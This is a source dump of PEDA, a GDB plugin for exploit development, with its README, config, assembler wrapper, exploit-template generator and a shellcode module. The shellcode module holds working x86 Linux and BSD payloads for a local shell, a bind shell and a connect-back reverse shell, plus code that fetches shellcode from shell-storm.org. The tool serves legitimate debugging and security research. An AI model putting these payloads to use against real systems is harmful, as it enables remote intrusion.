├── LICENSE ├── .gitignore ├── README ├── README.md └── lib ├── nasm.py ├── config.py ├── skeleton.py ├── shellcode.py └── utils.py /LICENSE: -------------------------------------------------------------------------------- 1 | This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. 2 | 3 | http://creativecommons.org/licenses/by-nc-sa/3.0/ 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[co] 2 | 3 | # Packages 4 | *.egg 5 | *.egg-info 6 | dist 7 | build 8 | eggs 9 | parts 10 | bin 11 | var 12 | sdist 13 | develop-eggs 14 | .installed.cfg 15 | 16 | # Installer logs 17 | pip-log.txt 18 | 19 | # Unit test / coverage reports 20 | .coverage 21 | .tox 22 | 23 | #Translations 24 | *.mo 25 | 26 | #Mr Developer 27 | .mr.developer.cfg 28 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | PEDA - Python Exploit Development Assistance for GDB 2 | 3 | Version: 1.0 4 | 5 | Release: special public release, Black Hat USA 2012 6 | 7 | 0. Credits 8 | - Huy Phan (pdah) for reviewing code 9 | 10 | 1. Introduction 11 | PEDA is a Python GDB script with many handy commands to help speed up 12 | exploit development process on Linux/Unix. It is also a framework for 13 | writing custom interactive Python GDB commands. 14 | 15 | 2. Requirements 16 | - PEDA 1.0 is only support Linux 17 | - GDB 7.x 18 | - Python 2.6+ 19 | - Utilities: nasm, readelf, objdump 20 | 21 | 3. Installation 22 | - Download 23 | $ wget http://ropshell.com/peda/peda.tar.gz 24 | - Unpack to HOME directory 25 | $ tar zxvf peda.tar.gz 26 | - Append a line to ~/.gdbinit to load PEDA when GDB starts 27 | $ echo "source ~/peda/peda.py" >> ~/.gdbinit 28 | 29 | 4. Usage 30 | - List of available commands: 31 | gdb-peda$ peda help 32 | 33 | - Search for some commands: 34 | gdb-peda$ apropos 35 | gdb-peda$ help 36 | 37 | - Get usage manual of specific command: 38 | gdb-peda$ phelp 39 | gdb-peda$ help 40 | 41 | - Get/set config option: 42 | gdb-peda$ pshow option 43 | gdb-peda$ pset option 44 | 45 | 46 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # THIS IS ONLY HERE FOR HISTORICAL REASONS - PLEASE USE [longld/peda](https://github.com/longld/peda) INSTEAD, AS IT SUPPORTS PYTHON3 NOW. 2 | 3 | peda 4 | ==== 5 | 6 | PEDA - Python Exploit Development Assistance for GDB 7 | 8 | ## Key Features: 9 | * Enhance the display of gdb: colorize and display disassembly codes, registers, memory information during debugging. 10 | * Add commands to support debugging and exploit development (for a full list of commands use `peda help`): 11 | * `aslr` -- Show/set ASLR setting of GDB 12 | * `checksec` -- Check for various security options of binary 13 | * `dumpargs` -- Display arguments passed to a function when stopped at a call instruction 14 | * `dumprop` -- Dump all ROP gadgets in specific memory range 15 | * `elfheader` -- Get headers information from debugged ELF file 16 | * `elfsymbol` -- Get non-debugging symbol information from an ELF file 17 | * `lookup` -- Search for all addresses/references to addresses which belong to a memory range 18 | * `patch` -- Patch memory start at an address with string/hexstring/int 19 | * `pattern` -- Generate, search, or write a cyclic pattern to memory 20 | * `procinfo` -- Display various info from /proc/pid/ 21 | * `pshow` -- Show various PEDA options and other settings 22 | * `pset` -- Set various PEDA options and other settings 23 | * `readelf` -- Get headers information from an ELF file 24 | * `ropgadget` -- Get common ROP gadgets of binary or library 25 | * `ropsearch` -- Search for ROP gadgets in memory 26 | * `searchmem|find` -- Search for a pattern in memory; support regex search 27 | * `shellcode` -- Generate or download common shellcodes. 28 | * `skeleton` -- Generate python exploit code template 29 | * `vmmap` -- Get virtual mapping address ranges of section(s) in debugged process 30 | * `xormem` -- XOR a memory region with a key 31 | 32 | ## Installation 33 | 34 | git clone https://github.com/crowell/p3da.git ~/peda 35 | echo "source ~/peda/peda.py" >> ~/.gdbinit 36 | echo "DONE! debug your program with gdb and enjoy" 37 | 38 | ## Screenshot 39 | ![start](http://i.imgur.com/P1BF5mp.png) 40 | 41 | ![pattern arg](http://i.imgur.com/W97OWRC.png) 42 | 43 | ![patts](http://i.imgur.com/Br24IpC.png) 44 | -------------------------------------------------------------------------------- /lib/nasm.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # 6 | # License: see LICENSE file for details 7 | # 8 | 9 | import os 10 | from utils import * 11 | import config 12 | 13 | class Nasm(object): 14 | """ 15 | Wrapper class for assemble/disassemble using nasm/ndisassm 16 | """ 17 | def __init__(self): 18 | pass 19 | 20 | @staticmethod 21 | def assemble(asmcode, mode=32): 22 | """ 23 | Assemble ASM instructions using NASM 24 | - asmcode: input ASM instructions, multiple instructions are separated by ";" (String) 25 | - mode: 16/32/64 bits assembly 26 | 27 | Returns: 28 | - bin code (raw bytes) 29 | """ 30 | asmcode = asmcode.strip('"').strip("'") 31 | asmcode = asmcode.replace(";", "\n") 32 | asmcode = ("BITS %d\n" % mode) + asmcode 33 | asmcode = asmcode.decode('string_escape') 34 | asmcode = re.sub("PTR|ptr|ds:|DS:", "", asmcode) 35 | infd = tmpfile() 36 | outfd = tmpfile() 37 | infd.write(asmcode) 38 | infd.flush() 39 | execute_external_command("%s -f bin -o %s %s" % (config.NASM, outfd.name, infd.name)) 40 | infd.close() 41 | 42 | if os.path.exists(outfd.name): 43 | bincode = outfd.read() 44 | outfd.close() 45 | return bincode 46 | # reopen it so tempfile will not complain 47 | open(outfd.name,'w').write('B00B') 48 | return None 49 | 50 | @staticmethod 51 | def disassemble(buf, mode=32): 52 | """ 53 | Disassemble binary to ASM instructions using NASM 54 | - buf: input binary (raw bytes) 55 | - mode: 16/32/64 bits assembly 56 | 57 | Returns: 58 | - ASM code (String) 59 | """ 60 | out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf) 61 | return out 62 | 63 | @staticmethod 64 | def format_shellcode(buf, mode=32): 65 | """ 66 | Format raw shellcode to ndisasm output display 67 | "\x6a\x01" # 0x00000000: push byte +0x1 68 | "\x5b" # 0x00000002: pop ebx 69 | 70 | TODO: understand syscall numbers, socket call 71 | """ 72 | def nasm2shellcode(asmcode): 73 | if not asmcode: 74 | return "" 75 | 76 | shellcode = [] 77 | pattern = re.compile("([0-9A-F]{8})\s*([^\s]*)\s*(.*)") 78 | 79 | matches = pattern.findall(asmcode) 80 | for line in asmcode.splitlines(): 81 | m = pattern.match(line) 82 | if m: 83 | (addr, bytes, code) = m.groups() 84 | sc = '"%s"' % to_hexstr(bytes.decode('hex')) 85 | shellcode += [(sc, "0x"+addr, code)] 86 | 87 | maxlen = max([len(x[0]) for x in shellcode]) 88 | text = "" 89 | for (sc, addr, code) in shellcode: 90 | text += "%s # %s: %s\n" % (sc.ljust(maxlen+1), addr, code) 91 | 92 | return text 93 | 94 | out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf) 95 | return nasm2shellcode(out) 96 | -------------------------------------------------------------------------------- /lib/config.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB (python3 version) 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # Copyright (C) 2014 Jeffrey Crowell 6 | # 7 | # License: see LICENSE file for details 8 | # 9 | 10 | # change below settings to match your needs 11 | ## BEGIN OF SETTINGS ## 12 | 13 | # external binaries, required for some commands 14 | READELF = "/usr/bin/readelf" 15 | OBJDUMP = "/usr/bin/objdump" 16 | NASM = "/usr/bin/nasm" 17 | NDISASM = "/usr/bin/ndisasm" 18 | 19 | # PEDA global options 20 | OPTIONS = { 21 | "badchars" : ("", "bad characters to be filtered in payload/output, e.g: '\\x0a\\x00'"), 22 | "pattern" : (1, "pattern type, 0 = basic, 1 = extended, 2 = maximum"), 23 | "p_charset" : ("", "custom charset for pattern_create"), 24 | "indent" : (4, "number of ident spaces for output python payload, e.g: 0|4|8"), 25 | "ansicolor" : (True, "enable/disable colorized output, e.g: on|off"), 26 | "pagesize" : (25, "number of lines to display per page, 0 = disable paging"), 27 | "session" : ("peda-session-#FILENAME#.txt", "target file to save peda session"), 28 | "tracedepth": (0, "max depth for calls/instructions tracing, 0 means no limit"), 29 | "tracelog" : ("peda-trace-#FILENAME#.txt", "target file to save tracecall output"), 30 | "crashlog" : ("peda-crashdump-#FILENAME#.txt", "target file to save crash dump of fuzzing"), 31 | "snapshot" : ("peda-snapshot-#FILENAME#.raw", "target file to save crash dump of fuzzing"), 32 | "autosave" : (True, "auto saving peda session, e.g: on|off"), 33 | "payload" : ("peda-payload-#FILENAME#.txt", "target file to save output of payload command"), 34 | "context" : ("register,code,stack", "context display setting, e.g: register, code, stack, all"), 35 | "verbose" : (False, "show detail execution of commands, e.g: on|off"), 36 | "debug" : (False, "show detail error of peda commands, e.g: on|off"), 37 | "_teefd" : ("", "internal use only for tracelog/crashlog writing") 38 | } 39 | 40 | ## END OF SETTINGS ## 41 | 42 | class Option(object): 43 | """ 44 | Class to access global options of PEDA commands and functions 45 | TODO: save/load option to/from file 46 | """ 47 | options = OPTIONS.copy() 48 | def __init__(self): 49 | """option format: name = (value, 'help message')""" 50 | pass 51 | 52 | 53 | @staticmethod 54 | def reset(): 55 | """reset to default options""" 56 | Option.options = OPTIONS.copy() 57 | return True 58 | 59 | @staticmethod 60 | def show(name=""): 61 | """display options""" 62 | result = {} 63 | for opt in Option.options: 64 | if name in opt and not opt.startswith("_"): 65 | result[opt] = Option.options[opt][0] 66 | return result 67 | 68 | @staticmethod 69 | def get(name): 70 | """get option""" 71 | if name in Option.options: 72 | return Option.options[name][0] 73 | else: 74 | return None 75 | 76 | @staticmethod 77 | def set(name, value): 78 | """set option""" 79 | if name in Option.options: 80 | Option.options[name] = (value, Option.options[name][1]) 81 | return True 82 | else: 83 | return False 84 | 85 | @staticmethod 86 | def help(name=""): 87 | """display help info of options""" 88 | result = {} 89 | for opt in Option.options: 90 | if name in opt and not opt.startswith("_"): 91 | result[opt] = Option.options[opt][1] 92 | return result 93 | -------------------------------------------------------------------------------- /lib/skeleton.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # Copyright (C) 2014 Jeffrey Crowell 6 | # 7 | # License: see LICENSE file for details 8 | # 9 | 10 | class ExploitSkeleton(object): 11 | """ 12 | Wrapper for exploit skeleton codes 13 | """ 14 | def __init__(self): 15 | self.skeleton_basic = """ 16 | #!/usr/bin/env python 17 | # 18 | # Template for #TYPE# exploit code, generated by PEDA 19 | # 20 | import os 21 | import sys 22 | import struct 23 | import resource 24 | import time 25 | 26 | def usage(): 27 | print "Usage: %s #USAGE#" % sys.argv[0] 28 | return 29 | 30 | def pattern(size=1024, start=0): 31 | try: 32 | bytes = open("pattern.txt").read(size+start) 33 | return bytes[start:] 34 | except: 35 | return "A"*size 36 | 37 | def nops(size=1024): 38 | return "\\x90"*size 39 | 40 | def int2hexstr(num, intsize=4): 41 | if intsize == 8: 42 | if num < 0: 43 | result = struct.pack(" 1: 193 | self.debug_log(nsend, data, "send") 194 | return nsend 195 | 196 | def sendline(self, data, delay=0): 197 | nsend = self.send(data + "\\n", delay) 198 | return nsend 199 | 200 | def recv(self, size=1024, delay=0): 201 | if delay: 202 | time.sleep(delay) 203 | buf = self.sock.recv(size) 204 | if self.debug > 0: 205 | self.debug_log(len(buf), buf, "recv") 206 | return buf 207 | 208 | def recv_until(self, delim): 209 | buf = "" 210 | while True: 211 | c = self.sock.recv(1) 212 | buf += c 213 | if delim in buf: 214 | break 215 | self.debug_log(len(buf), buf, "recv") 216 | return buf 217 | 218 | def recvline(self): 219 | buf = self.recv_until("\\n") 220 | return buf 221 | 222 | def close(self): 223 | self.sock.close() 224 | 225 | def exploit(host, port): 226 | port = int(port) 227 | client = TCPClient(host, port, debug=1) 228 | padding = pattern(0) 229 | payload = [padding] 230 | payload += ["PAYLOAD"] # put your payload here 231 | payload = list2hexstr(payload) 232 | raw_input("Enter to continue") 233 | client.send(payload) 234 | try: 235 | t = telnetlib.Telnet() 236 | t.sock = client.sock 237 | t.interact() 238 | t.close() 239 | except KeyboardInterrupt: 240 | pass 241 | 242 | if __name__ == "__main__": 243 | if len(sys.argv) < 3: 244 | usage() 245 | else: 246 | exploit(sys.argv[1], sys.argv[2]) 247 | """ 248 | -------------------------------------------------------------------------------- /lib/shellcode.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB (python3 version) 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # Copyright (C) 2014 Jeffrey Crowell 6 | # 7 | # License: see LICENSE file for details 8 | # 9 | from __future__ import print_function 10 | import random 11 | import socket 12 | import struct 13 | try: import http.client as httplib 14 | except: import httplib 15 | 16 | from codecs import encode, decode 17 | from utils import msg, error_msg 18 | 19 | shellcode_x86_linux = { 20 | "exec": ( 21 | "\x31\xc0" # 0x00000000: xor eax,eax 22 | "\x50" # 0x00000002: push eax 23 | "\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f ; //sh 24 | "\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f ; /bin 25 | "\x89\xe3" # 0x0000000D: mov ebx,esp 26 | "\x31\xc9" # 0x0000000F: xor ecx,ecx 27 | "\x89\xca" # 0x00000011: mov edx,ecx 28 | "\x6a\x0b" # 0x00000013: push byte +0xb 29 | "\x58" # 0x00000015: pop eax 30 | "\xcd\x80" # 0x00000016: int 0x80 ; execve() 31 | ), 32 | "bindport": ( 33 | "\x31\xdb" # 0x00000000: xor ebx,ebx 34 | "\x53" # 0x00000002: push ebx 35 | "\x43" # 0x00000003: inc ebx 36 | "\x53" # 0x00000004: push ebx 37 | "\x6a\x02" # 0x00000005: push byte +0x2 38 | "\x6a\x66" # 0x00000007: push byte +0x66 39 | "\x58" # 0x00000009: pop eax 40 | "\x99" # 0x0000000A: cdq 41 | "\x89\xe1" # 0x0000000B: mov ecx,esp 42 | "\xcd\x80" # 0x0000000D: int 0x80 ; socket() 43 | "\x96" # 0x0000000F: xchg eax,esi 44 | "\x43" # 0x00000010: inc ebx 45 | "\x52" # 0x00000011: push edx 46 | "\x66\x68\x41\x42" # 0x00000012: push word 0x4241 ; port = 0x4142 47 | "\x66\x53" # 0x00000016: push bx 48 | "\x89\xe1" # 0x00000018: mov ecx,esp 49 | "\x6a\x66" # 0x0000001A: push byte +0x66 50 | "\x58" # 0x0000001C: pop eax 51 | "\x50" # 0x0000001D: push eax 52 | "\x51" # 0x0000001E: push ecx 53 | "\x56" # 0x0000001F: push esi 54 | "\x89\xe1" # 0x00000020: mov ecx,esp 55 | "\xcd\x80" # 0x00000022: int 0x80 ; bind() 56 | "\xb0\x66" # 0x00000024: mov al,0x66 57 | "\xd1\xe3" # 0x00000026: shl ebx,1 58 | "\xcd\x80" # 0x00000028: int 0x80 ; listen() 59 | "\x52" # 0x0000002A: push edx 60 | "\x52" # 0x0000002B: push edx 61 | "\x56" # 0x0000002C: push esi 62 | "\x43" # 0x0000002D: inc ebx 63 | "\x89\xe1" # 0x0000002E: mov ecx,esp 64 | "\xb0\x66" # 0x00000030: mov al,0x66 65 | "\xcd\x80" # 0x00000032: int 0x80 ; accept() 66 | "\x93" # 0x00000034: xchg eax,ebx 67 | "\x6a\x02" # 0x00000035: push byte +0x2 68 | "\x59" # 0x00000037: pop ecx 69 | "\xb0\x3f" # 0x00000038: mov al,0x3f 70 | "\xcd\x80" # 0x0000003A: int 0x80 ; dup2() 71 | "\x49" # 0x0000003C: dec ecx 72 | "\x79\xf9" # 0x0000003D: jns 0x38 73 | "\xb0\x0b" # 0x0000003F: mov al,0xb 74 | "\x52" # 0x00000041: push edx 75 | "\x68\x2f\x2f\x73\x68" # 0x00000042: push dword 0x68732f2f ; //sh 76 | "\x68\x2f\x62\x69\x6e" # 0x00000047: push dword 0x6e69622f ; /bin 77 | "\x89\xe3" # 0x0000004C: mov ebx,esp 78 | "\x52" # 0x0000004E: push edx 79 | "\x53" # 0x0000004F: push ebx 80 | "\x89\xe1" # 0x00000050: mov ecx,esp 81 | "\xcd\x80" # 0x00000052: int 0x80 ; execve() 82 | ), 83 | "connect": ( 84 | "\x31\xdb" # 0x00000000: xor ebx,ebx 85 | "\x53" # 0x00000002: push ebx 86 | "\x43" # 0x00000003: inc ebx 87 | "\x53" # 0x00000004: push ebx 88 | "\x6a\x02" # 0x00000005: push byte +0x2 89 | "\x6a\x66" # 0x00000007: push byte +0x66 90 | "\x58" # 0x00000009: pop eax 91 | "\x89\xe1" # 0x0000000A: mov ecx,esp 92 | "\xcd\x80" # 0x0000000C: int 0x80 ; socket() 93 | "\x93" # 0x0000000E: xchg eax,ebx 94 | "\x59" # 0x0000000F: pop ecx 95 | "\xb0\x3f" # 0x00000010: mov al,0x3f 96 | "\xcd\x80" # 0x00000012: int 0x80 ; dup2() 97 | "\x49" # 0x00000014: dec ecx 98 | "\x79\xf9" # 0x00000015: jns 0x10 99 | "\x5b" # 0x00000017: pop ebx 100 | "\x5a" # 0x00000018: pop edx 101 | "\x68\x7f\x7f\x7f\x7f" # 0x00000019: push dword 0x7f7f7f7f ; address = 127.127.127.127 102 | "\x66\x68\x41\x42" # 0x0000001E: push word 0x4241 ; port = 0x4142 103 | "\x43" # 0x00000022: inc ebx 104 | "\x66\x53" # 0x00000023: push bx 105 | "\x89\xe1" # 0x00000025: mov ecx,esp 106 | "\xb0\x66" # 0x00000027: mov al,0x66 107 | "\x50" # 0x00000029: push eax 108 | "\x51" # 0x0000002A: push ecx 109 | "\x53" # 0x0000002B: push ebx 110 | "\x89\xe1" # 0x0000002C: mov ecx,esp 111 | "\x43" # 0x0000002E: inc ebx 112 | "\xcd\x80" # 0x0000002F: int 0x80 ; connect() 113 | "\x52" # 0x00000031: push edx 114 | "\x68\x2f\x2f\x73\x68" # 0x00000032: push dword 0x68732f2f ; //sh 115 | "\x68\x2f\x62\x69\x6e" # 0x00000037: push dword 0x6e69622f ; /bin 116 | "\x89\xe3" # 0x0000003C: mov ebx,esp 117 | "\x52" # 0x0000003E: push edx 118 | "\x53" # 0x0000003F: push ebx 119 | "\x89\xe1" # 0x00000040: mov ecx,esp 120 | "\xb0\x0b" # 0x00000042: mov al,0xb 121 | "\xcd\x80" # 0x00000044: int 0x80 ; execve() 122 | ) 123 | } 124 | 125 | shellcode_x86_bsd = { 126 | "exec": ( 127 | "\x31\xc0" # 0x00000000: xor eax,eax 128 | "\x50" # 0x00000002: push eax 129 | "\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f; //sh 130 | "\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f; /bin 131 | "\x89\xe3" # 0x0000000D: mov ebx,esp 132 | "\x50" # 0x0000000F: push eax 133 | "\x50" # 0x00000010: push eax 134 | "\x53" # 0x00000011: push ebx 135 | "\x50" # 0x00000012: push eax 136 | "\x6a\x3b" # 0x00000013: push byte +0x3b 137 | "\x58" # 0x00000015: pop eax 138 | "\xcd\x80" # 0x00000016: int 0x80 ; execve() 139 | ), 140 | "bindport": ( 141 | "\x31\xc0" # 0x00000000: xor eax,eax 142 | "\x50" # 0x00000002: push eax 143 | "\x68\xff\x02\x41\x42" # 0x00000003: push dword 0x424102ff ; port = x04142 144 | "\x89\xe7" # 0x00000008: mov edi,esp 145 | "\x50" # 0x0000000A: push eax 146 | "\x6a\x01" # 0x0000000B: push byte +0x1 147 | "\x6a\x02" # 0x0000000D: push byte +0x2 148 | "\x6a\x10" # 0x0000000F: push byte +0x10 149 | "\xb0\x61" # 0x00000011: mov al,0x61 150 | "\xcd\x80" # 0x00000013: int 0x80 ; socket() 151 | "\x57" # 0x00000015: push edi 152 | "\x50" # 0x00000016: push eax 153 | "\x50" # 0x00000017: push eax 154 | "\x6a\x68" # 0x00000018: push byte +0x68 155 | "\x58" # 0x0000001A: pop eax 156 | "\xcd\x80" # 0x0000001B: int 0x80 ; bind() 157 | "\x89\x47\xec" # 0x0000001D: mov [edi-0x14],eax 158 | "\xb0\x6a" # 0x00000020: mov al,0x6a 159 | "\xcd\x80" # 0x00000022: int 0x80 ; listen() 160 | "\xb0\x1e" # 0x00000024: mov al,0x1e 161 | "\xcd\x80" # 0x00000026: int 0x80 ; accept() 162 | "\x50" # 0x00000028: push eax 163 | "\x50" # 0x00000029: push eax 164 | "\x6a\x5a" # 0x0000002A: push byte +0x5a 165 | "\x58" # 0x0000002C: pop eax 166 | "\xcd\x80" # 0x0000002D: int 0x80 ; dup2() 167 | "\xff\x4f\xe4" # 0x0000002F: dec dword [edi-0x1c] 168 | "\x79\xf6" # 0x00000032: jns 0x2a 169 | "\x50" # 0x00000034: push eax 170 | "\x68\x2f\x2f\x73\x68" # 0x00000035: push dword 0x68732f2f ; //sh 171 | "\x68\x2f\x62\x69\x6e" # 0x0000003A: push dword 0x6e69622f ; /bin 172 | "\x89\xe3" # 0x0000003F: mov ebx,esp 173 | "\x50" # 0x00000041: push eax 174 | "\x54" # 0x00000042: push esp 175 | "\x53" # 0x00000043: push ebx 176 | "\x50" # 0x00000044: push eax 177 | "\xb0\x3b" # 0x00000045: mov al,0x3b 178 | "\xcd\x80" # 0x00000047: int 0x80 ; execve() 179 | ), 180 | "connect": ( 181 | "\x68\x7f\x7f\x7f\x7f" # 0x00000000: push dword 0x7f7f7f7f ; address = 127.127.127.127 182 | "\x68\xff\x02\x41\x42" # 0x00000005: push dword 0x424102ff ; port = 0x4142 183 | "\x89\xe7" # 0x0000000A: mov edi,esp 184 | "\x31\xc0" # 0x0000000C: xor eax,eax 185 | "\x50" # 0x0000000E: push eax 186 | "\x6a\x01" # 0x0000000F: push byte +0x1 187 | "\x6a\x02" # 0x00000011: push byte +0x2 188 | "\x6a\x10" # 0x00000013: push byte +0x10 189 | "\xb0\x61" # 0x00000015: mov al,0x61 190 | "\xcd\x80" # 0x00000017: int 0x80 ; socket() 191 | "\x57" # 0x00000019: push edi 192 | "\x50" # 0x0000001A: push eax 193 | "\x50" # 0x0000001B: push eax 194 | "\x6a\x62" # 0x0000001C: push byte +0x62 195 | "\x58" # 0x0000001E: pop eax 196 | "\xcd\x80" # 0x0000001F: int 0x80 ; connect() 197 | "\x50" # 0x00000021: push eax 198 | "\x6a\x5a" # 0x00000022: push byte +0x5a 199 | "\x58" # 0x00000024: pop eax 200 | "\xcd\x80" # 0x00000025: int 0x80 ; dup2() 201 | "\xff\x4f\xe8" # 0x00000027: dec dword [edi-0x18] 202 | "\x79\xf6" # 0x0000002A: jns 0x22 203 | "\x68\x2f\x2f\x73\x68" # 0x0000002C: push dword 0x68732f2f ; //sh 204 | "\x68\x2f\x62\x69\x6e" # 0x00000031: push dword 0x6e69622f ; /bin 205 | "\x89\xe3" # 0x00000036: mov ebx,esp 206 | "\x50" # 0x00000038: push eax 207 | "\x54" # 0x00000039: push esp 208 | "\x53" # 0x0000003A: push ebx 209 | "\x50" # 0x0000003B: push eax 210 | "\xb0\x3b" # 0x0000003C: mov al,0x3b 211 | "\xcd\x80" # 0x0000003E: int 0x80 ; execve() 212 | ) 213 | } 214 | 215 | shellcode_x86 = {"linux": shellcode_x86_linux, "bsd": shellcode_x86_bsd} 216 | 217 | SHELLCODES = {"x86": shellcode_x86} 218 | 219 | class Shellcode(): 220 | """ 221 | Simple wrapper for pre-defined shellcodes generation 222 | For complete and advanced shellcodes, Metasploit is recommended 223 | """ 224 | def __init__(self, arch="x86", platform="linux"): 225 | if arch in SHELLCODES and platform in SHELLCODES[arch]: 226 | self.shellcodes = SHELLCODES[arch][platform].copy() 227 | else: 228 | self.shellcodes = None 229 | 230 | @staticmethod 231 | def gennop(size, NOPS=None): 232 | """ 233 | genNOP is used to create an arbitrary length NOP sled using characters of your choosing. 234 | Perhaps you prefer \x90, perhaps you like the defaults. Given a list of NOP characters, 235 | genNOP will randomize and spit out something not easily recognized by the average human/rev engineer. 236 | Still, while you are working a vulnerability, you may prefer to specify one byte such as "A" or 237 | "\x90" as they are easily identified while searching memory. 238 | Defaults: 239 | # inc eax @ \x40 240 | # inc ecx A \x41 241 | # inc edx B \x42 242 | # inc ebx C \x43 243 | # inc esp D \x44 244 | # inc ebp E \x45 245 | # inc esi F \x46 246 | # inc edi G \x47 247 | # dec eax H \x48 248 | # dec esx J \x4a 249 | # daa ' \x27 250 | # das / \x2f 251 | # nop \x90 252 | # xor eax,eax \x33\xc0 253 | source: atlasutils 254 | """ 255 | DEFAULT_NOPS = "ABCFGHKIJ@'" 256 | if (not NOPS): 257 | NOPS = DEFAULT_NOPS 258 | sled = "" 259 | for i in range(size,0,-1): 260 | N = random.randint(0,len(NOPS)-1) 261 | sled += NOPS[N] 262 | return sled 263 | 264 | def shellcode(self, sctype, port=None, host=None): 265 | if not self.shellcodes or sctype not in self.shellcodes: 266 | return None 267 | 268 | if port is None: 269 | port=16706 270 | if host is None: 271 | host='127.127.127.127' 272 | 273 | shellcode = self.shellcodes[sctype] 274 | try: 275 | port = struct.pack(">H", port) 276 | addr = socket.inet_aton(host) 277 | shellcode = shellcode.replace("\x66\x68\x41\x42", "\x66\x68" + port) 278 | shellcode = shellcode.replace("\x68\xff\x02\x41\x42", "\x68\xff\x02" + port) 279 | shellcode = shellcode.replace("\x68\x7f\x7f\x7f\x7f", "\x68" + addr) 280 | return shellcode 281 | except: 282 | return None 283 | 284 | """ search() and display() use the shell-storm API """ 285 | def search(self, keyword): 286 | if keyword is None: 287 | return None 288 | try: 289 | msg("Connecting to shell-storm.org...") 290 | s = http.client.HTTPConnection("shell-storm.org") 291 | s.request("GET", "/api/?s="+str(keyword)) 292 | res = s.getresponse() 293 | data_l = res.read().split('\n') 294 | except: 295 | error_msg("Cannot connect to shell-storm.org") 296 | return None 297 | 298 | data_dl = [] 299 | for data in data_l: 300 | try: 301 | desc = data.split("::::") 302 | dico = { 303 | 'ScAuthor': desc[0], 304 | 'ScArch': desc[1], 305 | 'ScTitle': desc[2], 306 | 'ScId': desc[3], 307 | 'ScUrl': desc[4] 308 | } 309 | data_dl.append(dico) 310 | except: 311 | pass 312 | 313 | return data_dl 314 | 315 | def display(self, shellcodeId): 316 | if shellcodeId is None: 317 | return None 318 | 319 | try: 320 | msg("Connecting to shell-storm.org...") 321 | s = http.client.HTTPConnection("shell-storm.org") 322 | except: 323 | error_msg("Cannot connect to shell-storm.org") 324 | return None 325 | 326 | try: 327 | s.request("GET", "/shellcode/files/shellcode-"+str(shellcodeId)+".php") 328 | res = s.getresponse() 329 | data = res.read().split("
")[1].split("")[0]
330 |         except:
331 |             error_msg("Failed to download shellcode from shell-storm.org")
332 |             return None
333 | 
334 |         data = data.replace(""", "\"")
335 |         data = data.replace("&", "&")
336 |         data = data.replace("<", "<")
337 |         data = data.replace(">", ">")
338 |         return data
339 | 


--------------------------------------------------------------------------------
/lib/utils.py:
--------------------------------------------------------------------------------
  1 | #
  2 | #       PEDA - Python Exploit Development Assistance for GDB (python3 version)
  3 | #
  4 | #       Copyright (C) 2012 Long Le Dinh 
  5 | #       Copyright (C) 2014 Jeffrey Crowell 
  6 | #
  7 | #       License: see LICENSE file for details
  8 | #
  9 | from __future__ import print_function
 10 | import gdb
 11 | import tempfile
 12 | import pprint
 13 | import inspect
 14 | import sys
 15 | import struct
 16 | import string
 17 | import re
 18 | import itertools
 19 | import functools
 20 | from subprocess import *
 21 | import binascii
 22 | import config
 23 | 
 24 | from codecs import encode, decode
 25 | 
 26 | try:    from StringIO import StringIO # Python2
 27 | except: from io       import StringIO # Python3
 28 | 
 29 | try:    unicode
 30 | except: unicode = str
 31 | 
 32 | # http://wiki.python.org/moin/PythonDecoratorLibrary#Memoize
 33 | # http://stackoverflow.com/questions/8856164/class-decorator-decorating-method-in-python
 34 | class memoized(object):
 35 |     """
 36 |     Decorator. Caches a function's return value each time it is called.
 37 |     If called later with the same arguments, the cached value is returned
 38 |     (not reevaluated).
 39 |     """
 40 |     def __init__(self, func):
 41 |         self.func = func
 42 |         self.instance = None # bind with instance class of decorated method
 43 |         self.cache = {}
 44 |         self.__doc__ = inspect.getdoc(self.func)
 45 | 
 46 |     def __call__(self, *args, **kwargs):
 47 |         try:
 48 |             return self.cache[(self.func, self.instance, args) + tuple(kwargs.items())]
 49 |         except KeyError:
 50 |             if self.instance is None:
 51 |                 value = self.func(*args, **kwargs)
 52 |             else:
 53 |                 value = self.func(self.instance, *args, **kwargs)
 54 |             self.cache[(self.func, self.instance, args) + tuple(kwargs.items())] = value
 55 |             return value
 56 |         except TypeError:
 57 |             # uncachable -- for instance, passing a list as an argument.
 58 |             # Better to not cache than to blow up entirely.
 59 |             if self.instance is None:
 60 |                 return self.func(*args, **kwargs)
 61 |             else:
 62 |                 return self.func(self.instance, *args, **kwargs)
 63 | 
 64 |     def __repr__(self):
 65 |         """Return the function's docstring."""
 66 |         return self.__doc__
 67 | 
 68 |     def __get__(self, obj, objtype):
 69 |         """Support instance methods."""
 70 |         if obj is None:
 71 |             return self
 72 |         else:
 73 |             self.instance = obj
 74 |             return self
 75 | 
 76 |     def _reset(self):
 77 |         """Reset the cache"""
 78 |         for cached in list(self.cache.keys()):
 79 |             if cached[0] == self.func and cached[1] == self.instance:
 80 |                 del self.cache[cached]
 81 | 
 82 | def reset_cache(module=None):
 83 |     """
 84 |     Reset memoized caches of an instance/module
 85 |     """
 86 |     if module is None:
 87 |         module = sys.modules['__main__']
 88 | 
 89 |     for m in dir(module):
 90 |         m = getattr(module, m)
 91 |         if isinstance(m, memoized):
 92 |             m._reset()
 93 |         else:
 94 |             for f in dir(m):
 95 |                 f = getattr(m, f)
 96 |                 if isinstance(f, memoized):
 97 |                     f._reset()
 98 | 
 99 |     return True
100 | 
